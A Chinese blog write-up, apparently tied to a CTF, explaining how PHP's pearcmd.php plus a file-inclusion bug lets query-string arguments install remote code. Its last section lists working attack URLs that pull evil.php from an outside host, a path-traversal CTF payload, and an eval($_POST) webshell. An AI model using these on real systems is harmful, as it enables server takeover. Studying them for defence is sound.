使用pear命令直接写马

register_argc_argv

1.首先了解到这个参数默认是ON的
2.当这个参数开启的时候,php会注册argc和argc这两个全局变量。

img

pear

Pear 是 PHP 扩展与应用库(the PHP Extension and Application Repository)的缩写,是一个 PHP 扩展及应用的一个代码仓库。Pear 仓库代码是以包(package)分区,每一个 Pear package 都是一个独立的项目有着自己独立的开发团队、版本控制、文档和其他包的依赖关系信息。Pear package 以 phar、tar 或 zip 发布。

因为pear是包管理器,所以存在下载和安装包功能
在pear命令的源码下,可以发现:

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/local/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/local/bin/php"
fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/local/lib/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/local/lib/php"
INCARG="-d include_path=/usr/local/lib/php"
fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

,可以看到后面调用了argv的值,是从包含的另一个文件中来的

require_once 'Console/Getopt.php';
/* ... */
$argv = Console_Getopt::readPHPArgv();

在console/Getopt.php有如下实现方法:

public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

可以看到获取$argv的方式是global $argv --> $_SERVER['argv'] --> $GLOBALS['HTTP_SERVER_VARS']['argv']

利用链

当我们包含pearcmd.php的时候,相当于包含了这个php文件里面的所有变量,由于argv变量我们可控,那么我就可以通过pear命令来getshell了

pear命令任意文件下载

首先要cd到/usr/lib/php
然后用

pear dowload http://xxx.xx.xx.xx/pear.php

img

即可下载到当前目录下
如果/var/www/html目录可写:

pear install -R /var/www/html http:/xxxxxx/pear.php

如何使用argv和argc传值进行peargetshell

img

阅读底层c代码

PHPAPI void php_build_argv(const char *s, zval *track_vars_array)
{
zval arr, argc, tmp;
int count = 0;
if (!(SG(request_info).argc || track_vars_array)) {
return;
}
array_init(&arr);
/* Prepare argv */
if (SG(request_info).argc) { /* are we in cli sapi? */
int i;
for (i = 0; i < SG(request_info).argc; i++) {
ZVAL_STRING(&tmp, SG(request_info).argv[i]);
if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
zend_string_efree(Z_STR(tmp));
}
}
} else if (s && *s) {
while (1) {
const char *space = strchr(s, '+');
/* auto-type */
ZVAL_STRINGL(&tmp, s, space ? space - s : strlen(s));
count++;
if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
zend_string_efree(Z_STR(tmp));
}
if (!space) {
break;
} s
= space + 1;
}
}

可以知道argv通过query_string取值,并通过+作为分隔符

// web目录可写
- http://ip:port/include.php?f=pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php
- http://ip:port/tmp/pear/download/evil.php
// tmp目录可写
- http://ip:port/include.php?f=pearcmd&+install+-R+/tmp+http://ip:port/evil.php
- http://ip:port/include.php?f=/tmp/pear/download/evil

rctf的payload

/../../../../usr/local/lib/php/pearcmd.php?f=pearcmd&+install+-R+/tmp/+http://110.42.133.xxxx/pear.php
/../../../../tmp/tmp/pear/download/pear.php

<script language='php'>eval($_POST['a']);</script>

<script language='php'> eval($_POST['a']);</script>
Author

vague huang

Posted on

2021-09-13

Updated on

2022-08-04

Licensed under

Comments